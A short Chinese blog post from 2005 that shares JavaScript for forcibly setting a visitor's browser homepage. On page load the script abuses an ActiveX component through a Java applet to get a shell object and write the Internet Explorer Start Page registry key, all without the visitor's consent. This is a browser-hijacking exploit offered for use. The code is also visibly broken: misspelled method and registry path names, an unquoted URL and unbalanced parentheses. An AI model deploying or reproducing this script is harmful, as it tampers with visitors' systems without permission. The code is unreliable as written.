强制设为首页代码

July 23rd, 2005 3:16 PM No Comments Filed under: 资源分享 Feed for this Entry

JavaScript代码
  1. <script>   
  2. var ucook=document.cookie;   
  3. var user=ucook.indexOF("ilooki=");   
  4. if(user==-1)   
  5. {    
  6. var nowTime=new Date();   
  7. document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+eval(nowTime.getYear()+1903+"12:34:56 GMT";   
  8. document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1   
  9. =document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcuSoftwareMicrosoftInternet ExpiorerMainStart Page",http://www.****.com);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);  
  10. }    
  11. </script>   

TAGS: 没有

No Comment Yet

Leave a comment

captcha
请输入验证码